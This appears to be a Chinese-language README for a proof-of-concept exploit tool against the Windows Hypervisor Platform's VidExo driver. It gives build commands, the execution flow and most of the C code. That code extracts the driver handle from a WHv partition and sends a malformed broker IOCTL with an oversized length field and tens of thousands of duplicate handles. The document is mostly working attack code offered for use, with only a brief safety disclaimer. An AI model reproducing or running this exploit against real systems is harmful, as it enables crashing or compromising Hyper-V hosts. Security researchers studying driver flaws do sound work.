Windows Hypervisor 分区漏洞利用与 IOCTL 通信测试工具
本项目是一个面向安全研究人员的 Windows Hypervisor 平台测试工具,专注于探索和验证 WHv (Windows Hypervisor Platform) 分区机制中的潜在漏洞。通过构造特定的 IOCTL 请求和内存布局,测试 VidExo 驱动接口的异常处理能力。
功能特性
- Hypervisor 存在性检测:自动检测当前系统是否启用 Hypervisor
- WHv 分区创建与管理:创建、配置和删除 WHv 分区实例
- VidExo 驱动通信 :通过
VidExoBrokerIoctlSend和VidExoBrokerIoctlReceive控制码进行双向通信 - 恶意句柄数组构造:生成大量重复句柄数据以测试驱动层缓冲区处理
- 异步接收机制:使用独立线程处理返回的 IOCTL 响应
- 内存边界验证:检查输入缓冲区大小与结构体字段的一致性
安装指南
系统要求
- Windows 10/11 专业版/企业版(支持 Hyper-V)
- 已启用 Hyper-V 角色或 Windows Hypervisor Platform
- Visual Studio 2019 或更高版本(包含 Windows SDK)
依赖项
本工具直接调用 Windows 原生 API,无需额外第三方库:
WinHvPlatform.h- Windows Hypervisor Platform APIWindows.h- 基础 Windows API
编译步骤
-
使用 Visual Studio 开发者命令提示符打开项目目录
-
编译命令:
cmdcl.exe /EHsc /Fe:whv_exploit.exe main.c -
若需调试符号:
cmdcl.exe /EHsc /Zi /Fe:whv_exploit_debug.exe main.c
运行准备
必须以管理员权限运行,否则无法访问 VidExo 驱动设备。
使用说明
基础使用
cmd
# 以管理员身份运行
whv_exploit.exe
程序执行流程:
- 检测 Hypervisor 是否存在
- 创建并配置 WHv 分区(设置 1 个虚拟处理器)
- 从分区对象中提取 VidExo 驱动句柄
- 计算句柄数组容量(约 0xFFFF 个句柄)
- 构造 BrokerIrpDataHeader 结构体
- 启动接收线程等待响应
- 发送 IOCTL 请求触发漏洞
- 清理资源并退出
典型输出
css
DataLen: fffff000
NumHandles: fffefff0
DeviceIoControl(SEND_IOCTL) Failed(1)
核心机制说明
BrokerIrpDataHeader 结构体
c
typedef struct _BrokerIrpDataHeader {
DWORD HeaderSize; // 固定 0x10
DWORD NumHandles; // 句柄数量
DWORD DataOffset; // 数据偏移(本例为 0)
DWORD DataLen; // 数据长度(0xfffff000)
} BrokerIrpDataHeader;
该结构体位于缓冲区开头,后续紧跟着 NumHandles 个 HANDLE 值,用于向驱动传递句柄数组和数据负载。
核心代码
Hypervisor 检测与分区初始化
c
// 检测 Hypervisor 是否存在
WHV_CAPABILITY cap;
unsigned int size;
WHvGetCapability(WHvCapabilityCodeHypervisorPresent, &cap, sizeof(cap), &size);
if (cap.HypervisorPresent == 0) {
printf("Hypervisor is not present\n");
return -1;
}
// 创建并配置分区
WHV_PARTITION_HANDLE prtn;
WHvCreatePartition(&prtn);
DWORD val = 1; // 处理器数量
WHvSetPartitionProperty(prtn, WHvPartitionPropertyCodeProcessorCount, &val, sizeof(val));
WHvSetupPartition(prtn);
// 从分区对象中提取 VidExo 驱动句柄(内部偏移)
VidExo = (HANDLE)((*((__int64*)prtn + 1) & 0xfffffffffffffffe));
IOCTL 请求构造与发送
c
// 分配输入缓冲区
DWORD64* payload = VirtualAlloc(NULL, INPUT_LEN, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
// 填充 BrokerIrpDataHeader
BrokerIrpDataHeader* hdr = payload;
hdr->HeaderSize = 0x10;
hdr->NumHandles = NumHandles;
hdr->DataLen = DataLen;
hdr->DataOffset = 0x0;
// 填充句柄数组(全部指向当前进程)
PHANDLE p = &hdr[1];
for (DWORD i = 0; i < NumHandles; i++) {
*p = GetCurrentProcess();
p++;
}
// 启动接收线程
CreateThread(NULL, 0, Receive, NULL, 0, NULL);
// 发送 IOCTL
DeviceIoControl(VidExo, SEND_IOCTL, payload, INPUT_LEN, NULL, 0, NULL, NULL);
异步接收处理
c
DWORD WINAPI Receive() {
char buf[0x20];
Sleep(2000); // 等待服务端处理
if (!DeviceIoControl(VidExo, RECV_IOCTL, NULL, 0, buf, 0x20, NULL, NULL)) {
printf("RECV_IOCTL failed(%x)\n", GetLastError());
}
return 0;
}
资源清理
c
CLEAN:
VirtualFree(payload, INPUT_LEN, MEM_FREE);
VirtualFree(payload, 0, MEM_RELEASE);
WHvDeletePartition(prtn);
安全说明
⚠️ 警告:本工具仅供安全研究和漏洞验证使用。不当使用可能导致系统不稳定或触发安全机制。请在隔离的测试环境中运行。 6HFtX5dABrKlqXeO5PUv/4K/poJDJX4MQyRV359FGBo=